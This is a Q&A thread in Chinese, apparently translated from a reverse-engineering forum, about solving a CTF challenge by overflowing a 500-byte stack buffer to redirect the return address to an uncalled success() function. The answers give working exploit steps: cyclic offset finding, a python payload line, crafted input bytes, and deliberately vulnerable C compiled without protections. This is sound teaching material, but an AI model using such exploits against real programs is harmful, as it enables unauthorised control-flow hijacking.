使用缓冲区溢出调用函数

逆向工程 C 缓冲区溢出
2021-06-16 10:47:52

我是逆向工程 C 二进制文件的新手,但一直在研究旧的 ctf 并想要求解释特定的汇编命令以及缓冲区溢出如何强制调用函数。

我已经使用 ghidra 和 IDA 拆开了一个二进制文件。它是一个非常标准的 C 程序,带有 main() 函数和方法:

int main(void)

{
  body();
  return 0;
}

void body(void)

{
  char buffer [500];
  int size;
  
  /* gather input and print to the console */
  size = read(0,buffer,700);
  printf("\nUser provided %d bytes. Buffer content is: %s\n",size,buffer);
  return;
}

(注意列出的函数是从汇编代码重建的,因此可能不完全正确。)在这一点上,我认为缓冲区溢出一定是攻击的目标。

进一步搜索程序找到了这个函数,我得出结论我想调用它:

void success(void)

{
  system("cat file_you_cant_access.txt");
  return;
}

这个函数从未被调用,但它显然是挑战的答案。所以我的问题是如何修改 main/body 来调用这个辅助函数。

不幸的是,我不太了解汇编代码,因此无法理解地址的存储位置和函数的调用位置。可能这里有一些可能很重要的行(它们是辅助方法中的行):

/* gather input and print to the console */                     
08048491 55              PUSH       EBP
08048492 89 e5           MOV        EBP,ESP
08048494 81 ec 18        SUB        ESP,0x218
         02 00 00
0804849a c7 44 24        MOV        dword ptr [ESP + local_214],0x2bc
         08 bc 02 
         00 00
080484a2 8d 85 00        LEA        EAX=>local_204,[EBP + 0xfffffe00]
         fe ff ff
080484a8 89 44 24 04     MOV        dword ptr [ESP + local_218],EAX
080484ac c7 04 24        MOV        dword ptr [ESP]=>local_21c,0x0
         00 00 00 00
080484b3 e8 78 fe        CALL       read                                             ssize_t read(int __fd, void * __
         ff ff
080484b8 89 45 f4        MOV        dword ptr [EBP + local_10],EAX
080484bb 8d 85 00        LEA        EAX=>local_204,[EBP + 0xfffffe00]
         fe ff ff
080484c1 89 44 24 08     MOV        dword ptr [ESP + local_214],EAX
080484c5 8b 45 f4        MOV        EAX,dword ptr [EBP + local_10]
080484c8 89 44 24 04     MOV        dword ptr [ESP + local_218],EAX
080484cc c7 04 24        MOV        dword ptr [ESP]=>local_21c,s__User_provided_%d   = "\nUser provided %d bytes. Buf
         a0 85 04 08

问题是似乎不可能将缓冲区溢出到任何有意义的地方。如果答案不明显,也许您可​​以带我了解您会采取什么方法?

2个回答

基本上,当main调用 时body,它本质上是将返回地址(即EIP寄存器的值,包含指令后面的CALL指令的偏移量)压入堆栈,然后跳转到 的地址bodybody将完成运行(通过执行RET指令)时,它本质上将从堆栈中弹出返回地址并跳转到它指向的任何地方。为了劫持流,攻击者必须以某种方式覆盖堆栈并放置不同的地址而不是原始返回地址。

在您附加的代码中,buffer放置在堆栈上。根据程序堆栈的行为方式,它下方的某处是返回地址:

+---------+
| buffer  | 
|         |
|         |
+---------+
| ...     |
+---------+
| ret     | 
+---------+

buffer之间可能还有其他一些东西ret(例如size,或旧的帧指针),但为了简单起见,我们可以忽略它们。重要的一点是,介于两者之间的任何东西都不会ret“遥不可及”。由于buffer500 字节长,并且您可以提供 700 字节的用户输入,因此足以达到ret并覆盖它。

因此,计划是提供一个特制的输入,以便buffer...包含任何随机填充物,但ret会被success. 现在的问题是填充物应该多长时间。

可以通过分析反汇编来计算确切的长度,但有一些工具可以使它更容易,例如cyclic该工具生成一个De-Bruijn 序列,该序列作为程序的输入输入。假设输入将覆盖ret,我们可以获取它试图跳转到的地址并检查它离输入的开始有多远。这就是填充物的大小。

为了看到这一点,我们将假设二进制文件是在没有保护 ( gcc vuln.c -o vuln -no-pie -m32 -fno-stack-protector) 的情况下编译的,并且正如 blabb 所指出的,输入是由read而不是接收的scanf

我们使用cyclic以下方法为程序提供输入

$ cyclic -n 4 550 | ./vuln

User provided 550 bytes. Buffer content is: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae&
zsh: done                cyclic -n 4 550 |
zsh: segmentation fault  ./vuln

我们检查错误日志以恢复失败的指令指针:

$ sudo dmesg | tail -n 2
[13575.170536] vuln[2738]: segfault at 66616165 ip 0000000066616165 sp 00000000ffeb7510 error 14 in libc-2.31.so[f7dc6000+1d000]
[13575.170545] Code: Unable to access opcode bytes at RIP 0x6661613b.

我们可以看到程序试图跳转到0x66616165. 现在我们回去cyclic检查偏移量:

$ cyclic -n 4 -l 0x66616165
516

这意味着我们的填充器需要是516字节长。

我们还需要以下地址success(您可能会有所不同):

$ objdump -D ./vuln | grep success
08049182 <success>:

我们将创建秘密文件:

$ echo Secret String > file_you_cant_access.txt

把它们放在一起,我们制作输入(首先是填充物,然后是 的地址success):

$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*516 + b"\x82\x91\x04\x08")' | ./vuln

User provided 520 bytes. Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Secret String
zsh: done                python3 -c  |
zsh: segmentation fault  ./vuln

正如预期的那样, 的内容file_you_cant_access.txt被打印出来(就在程序崩溃之前,因为我们已经破坏了它的堆栈)。

正如我评论的那样,总是尝试发布原件而不是您的解释。

你对 read() 是 scanf() 的解释是错误的。

scanf() 采用格式字符串,如 %s......%d.. and a destination.

read() 需要一个 file_descriptior, buffer and length

 

理论的开始

如果函数实现中没有边界检查,则可能会发生缓冲区溢出。

scanf ,read 等被称为不安全的函数,因为它们没有实现边界检查

也就是说,他们会盲目地按照指示
读取任何系统限制的最大大小,并且会写入大小不足的缓冲区,并且在此过程中会因溢出而覆盖重要数据。

缓冲区溢出攻击是一种技术,其中作为工匠的攻击者将制作巧妙的输入

这种精心设计的输入而不是到处乱写并且可能会使目标崩溃,这将使攻击者的目的地位于特定位置

例如,对任何函数的任何调用都会在堆栈中推送一个返回地址,并且流程在推送的返回地址处恢复

如果通过制作一个输入,用不同的地址(攻击者目的地或在您的情况下成功函数的地址)覆盖堆栈上的返回地址,
则流程将被劫持以在该地址运行代码
(在您的情况下而不是打印多少以及什么会调用成功函数)

这种使用溢出缓冲区劫持流量的方法称为缓冲区溢出攻击

理论终结

示例代码漏洞

您的 read() 需要 700 作为读取大小。
您的缓冲区大小为 500,
因此溢出 200 可能会损坏或足以损坏或转移堆栈上的返回地址。

没有提到使用哪个操作系统、编译器等
read 是一个 posix 函数,可能在 32 位 linux 系统中与 unistd.h 一起使用 0 是 STDIN 的 file_descriptor

所以你可能需要做类似的事情

echo somefilewithcraftedinput.ext | 易受攻击的_bin

或喜欢 vulnbin < input

这是一个稍微修改的 Windows 克隆和演示
,修改使用较小的缓冲区大小
替换 cat 类型为 system() 一个额外的 printf 以证明我们实际上运行了一个未调用的函数并成功返回

目录预编译内容

:\>ls -lg
total 4
-rw-r--r-- 1 197121 430 Jun 12 02:57 buffo.c
-rw-r--r-- 1 197121  83 Jun 12 01:35 complink.bat
-rw-r--r-- 1 197121  49 Jun 12 01:37 file_you_cant_access.txt 
-rw-r--r-- 1 197121  68 Jun 12 02:54 input.txt

文件内容

:\>xxd -g4 input.txt
00000000: 61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
00000010: 61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
00000020: 61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
00000030: 61616161 61616161 61616161 00104000  aaaaaaaaaaaa..@.
00000040: 68104000                             h.@.

:\>cat file_you_cant_access.txt

this is a successful buffer overflow attack    

:\>cat buffo.c
#include <stdio.h>
#include <io.h>
#include <stdlib.h>
void success(void){
  system("type file_you_cant_access.txt");
  return;
}
void body (void){
        char buffer[50];
        int size;
        size = _read(0,buffer,250);
        printf("\nUser provided %d bytes. Buffer content is: %s\n",size,buffer);
        return;
}
int main(void){
        body();
        printf("Overflowed The Buffer executed an exploit and returnd  back to main()\n");
        return 0;
}
:\>cat complink.bat
cl /Zi /W4 /analyze /nologo /GS- /Od buffo.c /link /release /FIXED /DYNAMICBASE:NO

编译和执行

:\>complink.bat

:\>cl /Zi /W4 /analyze /nologo /GS- /Od buffo.c /link /release /FIXED /DYNAMICBASE:NO
buffo.c
buffo.c(11) : warning C6386: Buffer overrun while writing to 'buffer':  
the writable size is '50' bytes, but '250' bytes might be written.: Lines: 9, 10, 11


:\>buffo.exe < input.txt

User provided 68 bytes. Buffer content is: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaD

this is a successful buffer overflow attack

Overflowed The Buffer executed an exploit and returnd  back to main()

:\>